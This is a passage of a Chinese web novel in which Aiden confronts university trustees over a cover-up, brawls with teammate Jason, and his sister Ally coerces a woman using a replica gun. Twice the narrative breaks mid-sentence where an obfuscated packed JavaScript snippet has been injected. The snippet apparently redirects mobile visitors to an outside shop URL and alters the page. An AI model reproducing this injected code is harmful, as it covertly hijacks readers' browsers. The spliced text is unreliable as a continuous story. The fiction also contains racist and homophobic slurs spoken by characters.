范德索尔先生不安地挪动了一下身体,“艾登,我们做出的这个决定已经得到了你爷爷的认同,之后,我们会给你找来最好的公关团队,把你塑造成一个无辜的受害人形象,并以此来挽回你的形象——别踩我的脚,范德普先生,我还在说话呢——虽然你以后是没有办法继续在橄榄球队中比赛了,但这件事对你的名誉的损害将会被缩到最小,甚至还有可能为你赢得不少好感呢——今天的会议就是走个过场而已。难道你的爷爷没有跟你说这件事吗?” “不要把我和我的爷爷相提并论,”艾登眯起了眼睛,“我的爷爷是你们当中的一员,他自然会按照你们的规则来玩,但我不是。” 可是,不对啊。 他心中突然有了某种异样的感觉。 爷爷并不是循规蹈矩,会按照上流社会规矩来玩的人,否则他又怎能在那个保守的年代迎娶奶奶,甚至还战胜了家族施加在他身上的巨大压力,不仅保住了自己继承的那一部分家产,甚至还说服了曾祖父母接受一个非传统的亚裔儿媳。 是什么改变了他? “艾登·维尔兰德,场面话也说够了,阴阳怪气的话也说够了,现在我们就打开天窗说亮话,你现在到底想要怎么样?”卡维尔女士的眉毛已经在鼻子顶端挤出了一条科罗拉多大峡谷,神情严肃得就像这是她儿子的葬礼一般,“你别忘了,我们这场会议是要留下记录的。在你,或者范德索尔先生说出更多不可收拾的话以前,不如你干脆告诉我们,到底我们要开出怎样的条件,才能让你闭嘴,接受这个结果,并且之后再也不提起一句,由我们找来的公关团队收拾烂摊子?” “我没有条件。”艾登寸步不让地与她对视着,“因为我不管说什么,做什么都不可能改变你们的决定。如果我接受了所谓的‘条件’,那么我也成为了你们这个肮脏游戏中的一部分,等于我也默认了你们赖以生存的‘规则’是正确的。” “你是一个维尔兰德,艾登,”范德普挑起眉毛,“你就是这个游戏的一部分,你逃不开的。” “我不止是维尔兰德,我是祝家人,也是林家人,这就是我跟你们最大的不同,别把我与你们混为一谈,范德普。” “Right,”范德普一下后仰靠在椅子上,冷冷地望着艾登,“我都差点忘了,你身上还流着肮脏,底下的——” “够了,范德普先生,我们来这儿不是为了进行这种无意义的口水仗的,”卡维尔女士发话了,“我再强调一遍,先生们,女士们,这场会议上所有发生的一切都被摄影机记录下来了,这份记录是要交给NCAA,甚至会被泄露给一部分媒体的,希望你们都不要忘记这一点,剪辑并不是万能的——好了,艾登,你既然不愿意接受条件,那你打算怎么做?” 她的神色非常紧张,两只手神经质地紧紧抓住椅子,射往艾登的目光里充满了警告的意味。 “开除我吧,如果那就是你们认为有用的做法。但别试图洗白我,别在我身上使用你们那些恶心的招数,目前为止,它们除了让我越发深陷泥潭,越发在罪名中举步维艰,难以自证以外,没有任何帮助。” 艾登轻声说。 “这一次,我成为了你们的挡箭牌,下一次,也许会是另一个无辜的人,但这一招迟早有山穷水尽的一天,没有什么秘密能永远藏在黑暗中,有你们这样费尽心思也要将罪行掩盖的人,就有无论如何也要将你们的罪恶曝光的人,而我相信,那一天很快就能到来。” 说完,艾登向角落里的那台摄影机清清楚楚地比了个中指。 便转身离开了这间富丽堂皇的会议室。 67. Chapter·Fourteen 在停车场,杰森追上了艾登。 “你以为你在那里面做什么?”他的声音比他的手臂先一步止住了艾登正要往前迈的脚步,后者刚想回头,手臂就被杰森像拔河般使劲一拽,“你以为你在扮演什么英雄角色吗?你以为在镜头前说出事实很有趣?你以为这群人的丑闻要是捂不住了,我和你能有什么好下场?” 艾登低头看了一眼杰森那只青筋毕露,几乎都要镶嵌进自己胳膊中的手,“放开。” “他妈的,艾登,你能不能有点大局观?怎么,就属你是正义的斗士,我们都是满手罪恶——” “放手。我不会说第三遍。” “去你妈了个比,艾登,你以为这很好玩——” 杰森这句话还没说完,艾登就狠狠地一拳向他揍去,指节严丝合缝地卡进杰森脸颊的凹陷处,几乎都能感觉到面颊骨是如何在自己手下颤抖,错位的。这一拳用的力气太大,艾登自己都往前踉跄了几步,杰森是直接往右手边跌跌撞撞地趔趄而去,差点要摔倒在地上。 “你分了吗!”他愤怒地吼叫了起来,伸手擦去嘴角流下的鲜血。他们两个在学校行政楼后面空旷的停车场里,没人能听见杰森的怒吼。艾登喘着气站直身子,揉了揉生疼的手——他很肯定明天这儿一定是一片淤青,但哪怕他的手断了,这一拳也是值得的,“我早就该这么做了!” “你说什么?”杰森气得脸都扭曲了,怒气紧紧地绷在他的脸上,就像哪个蹩脚的三流整容医生刚给他做了拉皮手术一般, “别以为我不知道Ming那天来派对上找你谈论团队合作项目时你对他说了什么,”艾登冰冷地注视着他,一直望进他的记忆深处,瞪着那个模仿着中国口音,肆意嘲笑着Ming的杰森,“从前,我看在你是橄榄球队长的份上,让你三分,一直没有跟你计较这件事。既然现在我们两个都被开除了,你再也不是我的队长了——” 他迅猛地用左手挥出了另一拳,杰森猝不及防,另一边脸上也挨了一下,连连后退了几步,跌倒在地,整张脸以肉眼可见的速度迅速红肿起来。他如同疯狗一般跳起来,扬手就想向艾登冲来,早有防备的艾登敏捷地抓住了他的手腕,牢牢地钳制住了他。杰森在体力上根本不是艾登的对手,不管他怎么挣扎,都敌不过艾登的力气。 “这一拳是为了疏眠,”艾登一字一顿地说着,长达十五年的友谊,并肩共同在球场上挥洒汗水的十一年,全都在这一刻烟消云散,他并不觉得可惜,“是的,我知道你对她打着什么样的心思——我警告你,杰森·埃弗里,你离她远点。” “噢,是吗?”杰森扯起血迹斑斑的嘴角,有气无力地笑了笑,“因为你要撮合那个凯特·摩丝和黎疏眠在一起,是吗?有时候,艾登,你那么疼爱保护那个瘦不拉几的东亚病夫,我都不禁怀疑你是不是也成为了操屁|眼的那群鸡煎基佬中的——” 他的话被用力嵌进腹腔的一拳打断了,艾登没有松开另一只手,杰森只能以一种非常奇怪的姿势弯下腰去,一时间疼得说不出话来。 “永远,别再让我听见你嘴巴里冒出这些词。你再提起凯特·摩丝这个外号一次,就得去跟牙医做一个非常昂贵的预约了,你听清楚了吗,杰森·埃弗里?” “你爱上他了么,艾登·维尔兰德?” 杰森被肿胀顶成细细两条缝的眼睛向上瞥着,几乎是用眼白乜着艾登,这句话的语气讥讽至极,明显是一句挑衅,但他的呼吸却不由得为之一滞。 我爱上了Ming么? 他扪心自问着。 或者说,我对Ming的感情,超出了一个朋友对另一个朋友应有的限度吗? 艾登禁不住想起了黑暗中那突如其来的一刻,就仿佛是闪|光|弹从城市上方划过,照亮了每一条街道上的每一个行人,种种细节无所遁形,如同在外科手术台上被剖开的内脏,医生凑过头来,清楚地指出了任何仪器都无法看见的病变—— 一个颤抖的吻落在他的指尖,微热的气息在肌肤上一触即收,多年在球场上跌打滚爬磨砺出的粗糙肌肤蜻蜓点水般划过柔软的纹路,一点点棉布与地板摩擦的声音,通过木床的四柱传入他的耳朵,似从教堂传来的沉郁吟唱,残留的体温眷恋不去,像收下新晒的床单以后很久,仍然能在上面摸到一丝太阳的余韵——一只落在我指尖的飞蛾,艾登不知怎地想到了这个比喻。 他接吻过,什么样的都有,热烈的,冷淡的,青涩的,驾轻就熟的,充满青欲和渴望的,依依不舍又眷恋的,但几乎全都已经被艾登遗忘,感情的爆发似乎只在当下那么短短的一瞬,过后便再也找不到留下的一丝痕迹,更遑论进入记忆的殿堂。 但他觉得自己永远不会忘记这个。 如果它是真的,如果Ming真的亲吻了他。 Ming亲口承认了他喜欢疏眠的事实,又不禁让艾登怀疑,那其实不过就是手指被柔软衣角蹭到而产生的错觉。 然而,发生的那一刻,对他来说,是一种永恒的体验。 他没有去思考自己是不是直的,也没有去思考Ming是gay的可能性,仿佛这些只是无关紧要的细节,甚至都不应该去考虑,在那一刻,他急切地,慌乱地,喜悦地,不安地寻找的,是自己对Ming可能抱有的感情的态度。 厌恶吗?排斥吗?接受吗?痛苦吗?雀跃吗?惊喜吗?恐惧吗? 我还能继续拥有这个朋友吗? 我还希望他成为我的朋友吗? 我会回应吗? 等待着回答出现的刹那,慌张而又甜蜜的心情,像瀑布一样,无声从头席卷到脚,那种感觉,就像是愉悦与切割同时发生,脏污与圣洁同时出现,极致的丑陋与极致的美丽同时在一张脸上呈现,Ming的面庞就藏在这些对立又奇异的片段之后,仿佛在暗示艾登,要选择他,就要先接受这一切,接受这令人困惑又清晰的感受,拥抱一份无奈又心甘情愿的感情。 他还没来得及选择,没来得及回答。就听见Ming叹了一口气。 几乎是条件反射地,艾登睁开了眼睛。 映入眼眸的,不是Ming呆滞惊吓的面庞,而是愤怒的杰森。下一刻,艾登下意识地松开了手,捂着肚子连连后退两步,裹着胃酸的早餐翻涌着倒灌上喉头,让他刹那间觉得自己的整条食管像被剥了皮一般火辣辣的疼。“不好受,是不是!”杰森大喊道,血跟着唾沫一起喷出,“你以为我打不过你吗,艾登?懆你妈的,你把一切都毁了!橄榄球队,十五年来的友谊和回忆,所有我的父亲为了你还有你的爷爷所做的一切,你把一切都毁了!毁了!他妈的!你还有脸打我!” “我毁什么了?”艾登勉力直起身子,眼前一阵黑一阵暗,震荡似乎还留在他的内脏中久久不去,他舔了舔嘴唇,发现齿间全是浓烈的血腥味,“我毁什么了,杰森·埃弗里?你会被球队开除全是因为你嗑药——” “而在你——惹出——那个——女留学生——的破事——以前——”两个人都几乎是在瞬间动了,多年来在球场上训练出的条件反射让他们都想用战术扑击将对方击倒在地,但是对彼此招数再熟悉不过的结果就是他们像两个相扑将士一样手臂交缠,扭来扭去,企图突破对方的防御。杰森咬紧牙关,声音一丝一丝地从他牙缝里漏出来,“这件事——根本——不可能——被——人——发现——” “你——是——队长——”杰森这次是下了死力了,他的指甲像鹰爪一样深深掐进艾登的肌肉里,让他难以发挥出全部的力量,只能僵持着,几乎分不出力气来说话,“你——本来——就——不应该——” “你——根本——不懂——橄榄球队——对我——来说——的意义——”说到最后几个字,杰森不知道从哪里又生出了几分力气,使劲把艾登向外甩去,艾登本来也不想跟他继续纠缠,便顺势而为,挣脱开了他的钳制,两个人之间的距离被拉到了几步远,像两头发情期间的美洲野牛一样,喘着粗气,恶狠狠地瞪着对方。 “如果橄榄球对你来说那么重要的话,你从一开始就不该染上那些玩意。” “你以为我很享受吗?”杰森露出一个凄厉的笑容,配合上他满脸的淤青与血迹,可怖至极,“这是代价,艾登,我瞧见了一些我不该瞧见的事,这是我被迫接受的惩罚,只有这样那群人才能安下心来,知道手上有我的把柄——他们从一开始给我的就是纯度极高的药品,根本不存在上瘾期。你以为我是自愿去尝试这些的吗,艾登,你就是这样想你的队长的吗?” “是啊,没错,我就是这么想的。”艾登冷冷地望着他。 “我一直盼望不会有人发现这一点,就算发现了也能为我保守秘密,我想过很多种可能性,艾登,我想过队员会为了金钱向八卦小报出卖我,我想过我父亲的关系有一天会无法摆平NCAA,我想过我可能有一天会因为过量吸食而死。我从来没想过这件事会曝光,全都是因为你。” “你想怪我就怪我吧。”艾登冷哼了一声,“我根本不在乎。” “你在乎过任何事情吗?”杰森怒吼了一句,“我在乎你!你是我唯一的朋友!我从小认识到大的朋友!我在乎你胜过在乎这世界上其他的一切,哪怕是黎疏眠也比不上——兄弟要排在女人前面,我一直坚信这一点。那你呢?你在乎过我吗?你在乎过橄榄球队吗?你在乎过你身边任何一个人,任何一件事吗?根本没有!从你爸爸去世以后,你唯一在乎过的玩意就是那个中国男孩——” “你在乎我?”艾登冷冷地笑了起来,“在我父亲去世以后,在我最需要朋友,最需要陪伴的时刻,你在哪里?你他妈连个电话都没有给我打过,从来没有来我家探望过我一次。直到我回到学校,再度获得坐在“受欢迎餐桌”旁的资格以后,你才重新跟我说话。那时候,我就发誓,我永远也不会在这一点上原谅你。” “我当时只是个孩子,我根本不知道要怎么面对你!他妈的,这么一件小事你居然在心里记了十年?” 杰森难以置信地看着他。 “是的,我把这件事记了十年。我还记得你是怎么在我背后肆意辱骂耻笑我的同胞,随后又一次次地把我拉出来当成证明你不是种族歧视者的理由;我记得你高中时是怎么把那个十年级的女孩弄怀孕了,却把这件事推给我,要我陪着那个女孩去人流诊所,因为你知道去那儿会被抗议者扔臭鸡蛋;我很清楚地记得你每一次对我的利用和抛弃,而我恰恰是看在整整十五年的友谊的份上,才忍气吞声到了今天。我记得最清楚的,是你如何每一次轻轻松松地就当上了队长,却从来没有一次跟教练提议过——‘艾登会是一个比我更好的队长,让他来担任吧’。” “我为什么要拱手让出队长的位置?” “因为我是一个比你好得多的橄榄球员,也会是个比你好得多的队长——在赛场上真正指挥战术的人是我,永远都是我,既然如此,我为什么不能成为队长,就因为我是个亚裔?而亚裔天生就该是数学好的书呆子?” “是了,你是运动奇才艾登·维尔兰德,约州无人能出其右的传奇四分卫,无与伦比的指挥官,不把队长这个位置让给你,真是天理难容。”杰森发出了刺耳的讥讽笑声,回荡在空旷无人的停车场上方,“你有没有想过,在其他方面,我也有比你更好,更适合成为队长的优势?对外交际的时候,你觉得那些赞助商会想要看到一个亚裔的橄榄球队队长吗?球队宣传的时候,你觉得大多数美国人希望看见一个亚裔站在领头的位置上吗?采访的时候,你觉得那些主持人更愿意和一个典型的美国橄榄球队员交流,还是愿意把在媒体上曝光的机会让给一个大多数人根本无法与之产生共鸣的亚裔?我在球场上从来不抢你的风头,就是因为我知道你的指挥才能比我好得多,我把这个大放光彩的机会让给你,我把观众的欢呼让给你,我把球队的名誉让给你,因为我知道那是你应得的。而你又做了什么?你毁了我们的球队!他妈的!你永远毁了我们的球队!” “我什么都没干。”艾登咬牙说道。 “你觉得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041244|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意这一点吗?你觉得有任何人在意这一点?哦,不,你在意这一点,因为这对你来说就是最重要的事情,只要艾登·维尔兰德是无辜的,其他人都可以去死了!”杰森往地上吐了一口带血的唾沫,抹了抹沾满汗水的发丝,那张扭曲的脸再添上嘲讽的神色,简直就是一副现代派的艺术作品,“你关心过球队在之后能拿到什么成绩吗?你关心过教练在这之后会不会被开除吗?你在乎过这件事对其他球员——其他打算将来往职业道路上发展的球员——会有什么影响吗?你在乎过这件事对我带来的伤害吗?” “别说的好像你就在乎这一切一样,杰森,因为我知道你根本不在乎。” “对,我是不在乎。”杰森连连冷笑几声,“但如果我是你,我就会关心这件事对你有什么影响,因为我知道橄榄球队对你来说有多么重要——或者至少说我以前以为橄榄球队对于你来说是重要的。现在我已经明白了,除了那个中国男孩,这世界上所有其他事情在你眼中都狗屎不如。你他妈就根本没想过橄榄球队对于我来说意味着什么,这是我唯一能找到自我价值的地方,这是我唯一能靠着自己的努力做出一点被人承认的成绩的地方。离开了橄榄球队,我永远都只能是科尔·埃弗里的儿子,靠着自己的父亲就能随心所欲,要什么有什么,我从来没有听别人跟我说过一句‘你干的真漂亮’,永远都是‘你父亲干的真不错’。只有在橄榄球队里我才能得到自我的肯定,你根本想象不到我有多么热爱队长这个职位——” 戛然而止的沉默之后是无止境的对峙,一时间谁都没有说话,只有秋日的阳光毫无温度地隔阂在他们中间。这个时节是约州最美好的时刻,气候宜人,景色优美,树木奋发着要在枝条光秃以前最后繁茂一次,落叶为每条街道与角落染上了温暖的秋黄,但它们此刻只是匆匆从艾登和杰森的脚边路过,不愿停留,似乎也知道他们之中已经容不下任何色彩,所有过往羁绊与回忆,俱成黑白。 杰森仍然紧握双拳,艾登眼里的怒气也不曾消退半分。 在这空荡的,浩瀚的——仿佛他们两个分别站在一叶扁舟上,中间是无法逾越的惊涛骇浪,随时会将他们送往两个绝不交错的方向——片刻,艾登只能想到Ming,想到他躺在自己身边的模样,那么瘦小的一个身躯,占的位置不比一只飞蛾大多少,而他仰头望着自己的模样,好似自己要是敢提一句黑暗中那漫长的注视与似有若无的吻,这只战战兢兢的飞蛾就会倏地离去,再也不会回头。 于是他不提,假装无事发生。 他只是细细摩挲着那柔软发尾,只是凝神地注视着他——也许他是想要从细枝末节中找出Ming在撒谎的证据;也许他只是想看看自己偶尔说出那么一两句略微亲昵的话语时,Ming会有的反应;也许他只是想用那些反应证明Ming根本不喜欢疏眠,至于为什么要证明这一点,艾登不知道。 他只是喜欢这么做。 但这能被称为爱吗?艾登心想,他记起疏眠对爱情的描述,然而他对Ming的感情似乎并没有言语中描绘的那般热烈,更多是淡淡的,细水长流的,像有一天打开家门,突然发现了自己小时候爱不释手的安抚玩偶,有种既陌生又熟悉的亲密。于是便时常将那安抚玩偶带在身边,形影不离,偶尔拿出来摆弄一番,也别有乐趣。 更何况,反过来,Ming对他的,也能称得上是爱吗?当自己反握住他的手时,他却突然想要离开,是不是他误会了什么?是他觉得自己的道谢不够真挚,那是那一瞬间的动作对他而言太过亲密,他认为要适当地拉开一些距离?这难道不能说明他其实根本对自己没有旖旎的想法吗? 或许,他们只是两个都不明白友谊界限应该在哪的直男,只是对彼此的依赖稍稍超过了正常的限度罢了。 但他与杰森之间,过去不曾,现在没有,以后也不会产生哪怕一丁点类似的友谊。 “所以,你认为,是我毁了这一切吗?” 艾登主动打破了静默。他缓步上前,逐渐缩短了与杰森之间的距离,后者警惕地举起了双拳,看着似乎随时要瞅准破绽再给上艾登一拳,但他没有理会。 “我希望你能弄清楚一件事,杰森,橄榄球队,你与我之间十五年的友谊,还有你父亲为我和我的爷爷所做的一切,都不是被我毁掉的。我从来没有想过要破坏这个平衡,我也知道他们为什么要把你选为队长——但你必须明白,只是因为你有理应当上队长的好理由,不代表就这件事就是公平的。 “真正毁掉这一切的,是坐在那间会议室里的校董。他们才是真正的,什么都不在乎,只在乎他们自己利益的人。 “很不巧的是,杰森,你的父亲,也正是他们当中的一员。” 艾登抓住了杰森瞬间扬起的拳头,两股力气互不相让,僵持在了半空中。他另一只手打算偷袭,也同样被艾登眼疾手快地一把截住,再度将杰森置于自己的钳制之下。他身体微微前倾,凑在了杰森的耳边。 “所以,”他轻声说,“如果你真的打算揍谁出气,打算找一个真正的罪魁祸首算账,我建议你回家,好好地跟你的父亲来上一场。谁知道呢,说不定打完以后,他会给你一句你梦寐以求的‘打得漂亮,杰森’。” 顿了顿,他又继续说道。 “如果你非要知道的话,杰森,我确实在乎橄榄球队,但这一次,是球队先抛弃了我。所以,我猜你说的没错,现在,U大校橄榄球队在我眼里确实狗屎不如,没了我以后,这也确实就是他们的水平。 “至于我们,杰森。这段友谊没有你想象的那么长久,在你拒绝与我说话,拒绝在我最需要的时候真正肩负起一个在乎对方的朋友应尽的职责的时候,这段友谊已经结束了,往后,不过都是从中撕扯拉伸出的假象罢了。所以,你大可不必为了一段不过延绵了区区五年的童年友谊而感到多么愤慨。” 他松开了手,将杰森往后一推,眼神里清清楚楚地透出了对他的鄙夷。 “Goodbye,Jason。” 68. Chapter·Fifteen 艾莉嚼着口香糖,倚靠在亚洲超市门旁,一条腿有一下没一下踢着挡购物车的圆柱,看着一副不耐烦又叛逆的模样。 她散下了自己的黑发,戴上墨镜遮掩自己的灰色眼睛,穿着牛仔裤,黑色匡威球鞋,宽大的帽衫,斜背着一个印着可爱日式logo的帆布包,看起来就跟普通的华人女孩打扮没什么两样,门前来来往往的留学生与华人没有一个多看她一眼,多半以为她只是在门口等自己的父母或同伴。 她的确在等一个人。 今天是周六,这儿又是一个几乎全被华人及亚裔留学生占领的北部小镇,超市门前非常热闹,停车场已经塞得满满当当,还有不少车子满场打转,寻觅着可能将要空出的车位。熟悉的中文和粤语一直交替在艾莉耳边响起,她间或能捕捉到一句完整的话飘来——“妈妈,我今天想吃饺子!”“你可以不要做卤鸡爪当我周一的午餐吗,很丢脸诶。”“今天我们吃火锅,怎么样?”——来的大多数都是倾巢而出的华人家庭,或者是拼车而来的留学生群体,还没到中午,放在超市门口的优惠券就已经快被拿光了。 如果父亲还活着,他也会像这样带着妈妈,她,还有艾登来逛亚洲超市吗? 艾莉藏在兜帽下的脸露出一丝淡淡的笑容。 多半会吧。 她很难想象父亲在超市里会是什么模样,只能预见妈妈拿着一份详细的购物清单,一丝不苟地按照上面的条目一样一样地把东西放进购物车的模样,艾登可能会试图捣乱,或者干脆跑到海鲜区兴奋地看活龙虾在鱼缸里爬来爬去。而自己则会亦步亦趋地跟在妈妈身旁,因为她多半在踏入超市以前就会叮嘱自己,“别乱跑,艾莉,在外面要有一个淑女的模样。” 奇怪的是,她从来没跟妈妈或艾登一起逛过亚洲超市,就能分毫不差地脑补出他们各自会有的行为和反应,却始终无法猜想得到父亲会有怎样的表现,她只能猜到一点——他多半会买上不少艾登喜欢吃的那种速冻食品——其实艾莉后来自己也尝过,明明是同一个牌子,同一个口味,却无论如何都没有深夜父亲递上来的那一碗好吃。她做不出那个味道,谁也做不出。 一尾温暖的柔灯从厨房透出,逶迤延伸至走廊尽头,围着围裙的父亲轻声哼着歌,袅袅蒸汽在眉间散开,筷子搅拌着小锅,发出轻微的叮当声响。 这是艾莉拥有的,对父亲最清晰的回忆。 倘若他还活着,有许多事或许都不会是今天的模样。 一个穿着碎花裙子的女孩低着头匆匆从超市里走了出来,留意是否有单身女性出没的艾莉立刻警觉地扬起双眼,在墨镜上方仔细地打量了她几眼——不是,她太矮了,而且穿衣风格完全不同。 手机突然在口袋里微微震动起来,艾莉有一边耳朵上挂着耳机,她迅速按了一下耳机线上的接听键。 “Hello?” “你还在那儿?”黎疏眠的声音从电话那头传来。 “嗯。”艾莉压低嗓音,轻快地应了一声。 “你已经等了四十多分钟了,她不会今天不来了吧?” “不可能,”艾莉说,“我通过她的手机号码查到了她在这间超市的购物记录,她购买的食材刚好只够吃一个星期——更何况,今天超市的优惠力度是最大的,她肯定不会错过这个采购机会。而且,过去六个月的购物记录显示她习惯早上前来这儿,我看不出来她有什么理由打破这一惯例。” “如果你需要我把你接回去,随时说一声。” “我会的,谢谢你。” “别客气。” 电话随即就挂断了。 她是被黎疏眠接来这儿的——没办法,当一个还不够年龄考驾照的十五岁少女就是这么麻烦。艾莉没把自己的计划告诉艾登和Ming,她知道Ming肯定不会同意自己这么干的。而只要Ming不同意,她那个保护欲爆棚,简直恨不得把自己兜在他看不见的育儿袋里到处蹦跶的哥哥是绝对不会同意的。 她只剩下一个选择:投奔黎疏眠。 “你想好了吗?”她当时在电话里再三跟自己确认,“这件事如果做不好,很有可能会让艾登陷入更加不利的情形中。” “我必须这么做。你也看到了U大是怎么宣布他们将艾登和杰森从队伍里开除出去这件事——只字不提艾登已经提交了足以证明自己清白的证据,只字不提NCAA要求的会议视频证据还没有提交,字里行间都在暗示校董们有多么嫉恶如仇,U大这一次又有多么秉公办事,力求正义,‘尽管目前警方还没有刟进一步的证据,我们还是认为,以目前的事态发展来看,艾登·维尔兰德已经不再适合在U大校橄榄球队中效力。令人失望地,他并没有体现出我们渴望在橄榄球员——尤其是四分卫这么一个重要职位——身上看见的诸多品质。U大校橄榄球队拥有非常悠久的历史,是全美最古老的橄榄球队之一,我们在挑选队员时非常谨慎,不仅仅看重他们身上说体现出的运动天赋,还要看他们的个人品格是否符合U大的价值观。在此,我们很遗憾地宣布,艾登·维尔兰德已经被禁止参加今后任何一场NCAA的比赛。’”艾莉一字一句地把脸书上的片段念给黎疏眠听,“现在网上每个人都管我的哥哥叫强煎犯,唐泽茹却被放在神坛上高高供起,无数人对她顶礼膜拜,认为她开创了一个女权的新时代。我无法接受这一点。” “我同意你的看法,”黎疏眠说,“老实说,我现在都不敢上网搜索自己的名字,不知道自己是否能承受弹出来的言论。我和你共同建立的那个网站到现在都没有办法开放救助渠道——你和我都很清楚一旦开放会有什么结果,涌进来的只会是咒骂和侮辱的邮件,而真正需要帮助的人却根本不敢来找我们。” “我已经想好结果了,”艾莉沉声说,“这一切必须结束,就是现在。” 忽然,她的眼角余光瞥见一个穿着黑色上衣,紧身牛仔长裤,带着一顶棒球帽的女孩从超市里走了出来。她已经尽可能把帽檐压低了,却还是躲不过艾莉的锐利视线,她把嘴里的口香糖往包装纸里一裹,锡银色的小球划过一道完美的抛物线,准确无误地落在垃圾桶了。这时,艾莉已经赶上了唐泽茹迈得飞快的步伐。 “不好意思,你是不是掉了这个——” 唐泽茹惊讶地转过身来的刹那,艾莉已经欺身上去,制止住了她。一只手拽住她的胳膊,另一只手早已从帆布包里掏出准备好的,做得与真枪几乎无异的水枪,此刻顶在她的背上,“别尖叫,别说话,”她沉声说,“我手上有枪。听懂了,你就点点头。” 唐泽茹僵立在原地,抓着购物车的双手无法控制地颤抖了起来,“你是谁?”她惊慌失措地问道,眼珠子拼命往眼角挤去,就像被牛奶推到角落里的两颗可可豆般,想在不回头的前提下尽可能看清艾莉的脸。 “我说了,不要说话。”艾莉轻蔑地说道,水枪又往前顶了顶,“往你的车那里走——还是说你宁愿我现在就开枪?” 从唐泽茹出国以前发在社交网络上的内容来看,她最大的恐惧就是在美国高发的持枪抢劫案。因此艾莉知道这一招肯定能成功。果不其然,唐泽茹一路都不敢说一个字,甚至不敢跟路过的华人求助,只管被艾莉推得踉踉跄跄地往前走。等走到她那辆看似崭新的Mini Cooper(实际上是便宜入手的事故车)前的时候,艾莉发现她已经被吓哭了。 这么没用懦弱的人是怎么把艾登逼到这种绝境的?艾莉无语地心想着,又用水枪顶了顶她,“从驾驶座把你的东西都放进车里。” 唐泽茹不敢违抗,只得乖乖照做。艾莉趁她弯腰的时候迅速溜到另一边,打开副驾驶座的位置坐了上去,水枪藏在帽衫的袖子里,仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041245|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然指着对方,等她战战兢兢地放好了购物袋以后,才再次开口了,“坐下,关上车门,发动车子。” “你想要什么都拿走吧,”唐泽茹几乎是瘫软在椅子上,带着哭腔说道,浑身上下像打摆子一样发着抖,钥匙抓在手里还掉了三次,蹩脚而破碎的英语断断续续地往外蹦着,艾莉估计她已经被水枪吓得大脑空白,甚至都来不及去思考怎么会有人选择在人来人往,热闹非凡的亚洲超市门口持枪打劫这回事,“我身上根本没有多少钱,这是我的信用卡,置物箱里还有一点零钱,我向你发誓,我全身上下就只有这么多钱了。” 艾莉一把扯下了兜帽,摘掉了墨镜,冷冷地与唐泽茹对视着。 “认出我了吗?”她的声音低沉无比,怒气与恨意山雨欲来,藏在她看似平静冷淡的面容下。 也许是太过惊讶,有那么几秒,唐泽茹只是呆呆地注视着艾莉,眼泪兀自往下流着,还保持着那随时要夺门而出,飞奔逃命的姿势。然而——就像正在注视着动漫里的人物变脸一样——艾莉清清楚楚地看见恐惧与惊慌如退潮瞬间从她脸上消失,一旦她意识到眼前并不是一个随时有可能结果自己生命的陌生抢劫犯,而是一个必然会为谋杀付出代价的守法公民,而且看上去瘦弱年轻,在体力上没有什么优势。她又迅速恢复了那种无耻的嘴脸,肢体也随之放松下来,艾莉注意到她立刻将钥匙藏进了手心里。 “我当然认得你,”她说,换成了流利得多的中文,“你是艾登的妹妹,艾莉。” “开车。”艾莉言简意赅地说道 “不可能,”唐泽茹一副“你是在搞笑吗”的神色,二话不说从裤兜里掏出了手机,“我要报警——” 艾莉的动作比她更快一步,她早就料到唐泽茹看见她的脸,就会意识到那把枪只不过是虚张声势的威胁,因此做好了准备。她轻轻一按自己的手机。唐泽茹面前的屏幕上就立即弹出了一条链接,急于打电话的她想也没想,就直接点了关闭——然而,关闭实际上对应着的,恰好就是点开链接的选项。 马上,她的手机就进入了白苹果模式。唐泽茹惊呼一声,脸一下子便青了,她用力长按着开机键和home键,却无济于事,iPhone固执地停留在惨白的画面上,拒绝听从任何指令。 “别白费力气了,”艾莉冷哼一声,“你刚才打开的链接里有CSS代码,只要一点开就会让你的iPhone崩溃并且无法重启,必须带去天才吧,让那儿的工作人员使用他们的权限硬重启,才可以。别想着报警了,唐泽茹,我能做到这一点,就能做到更多——比如说,操纵这辆车上高速公路,并且撞毁在某处。趁我心情还没差到那个地步,我再说一遍,开车。” 艾莉的黑客技巧其实还没厉害到那个份上,更何况,这台车也没有植入自动驾驶系统,从本质上就无法做到这一点。但她笃定的就是唐泽茹也没法肯定这一点——她对这辆汽车一窍不通,会买下它只是为了满足自己的虚荣心。购买前和购买后,艾莉都没有在她的浏览记录里找到任何与Mini Cooper有关的搜索,因此她能肯定唐泽茹选择这辆车,完全是出于颜值和价钱的考虑。 她不情愿地发动了车子,系好安全带,握在方向盘上的手青筋凸起,“你想要去哪?”她咬牙切齿地问道,“我只剩下了半箱油——” “别废话,开就是了。”已经有好几辆车在疯狂地冲她们按喇叭,显然想知道她们到底走不走。艾莉知道继续留在这儿谈话只会引人注目。等唐泽茹离开超市,一拐弯,刚开上第32号公路不久,她就开口了。 “看到那边那家星巴克了吗?” “看到了。”唐泽茹听上去简直像个正在被不公与歧视压迫着的黑奴,每个字都突突地往外冒着火星。 “停到那儿去。” 艾莉冰冷地命令着。 69. Chapter·Sixteen 艾莉推着唐泽茹走进星巴克。 “欢迎光临。”正将一杯咖啡递给客人的店员一见到她们,就绽开了微笑,“你们今天想喝点什么?” 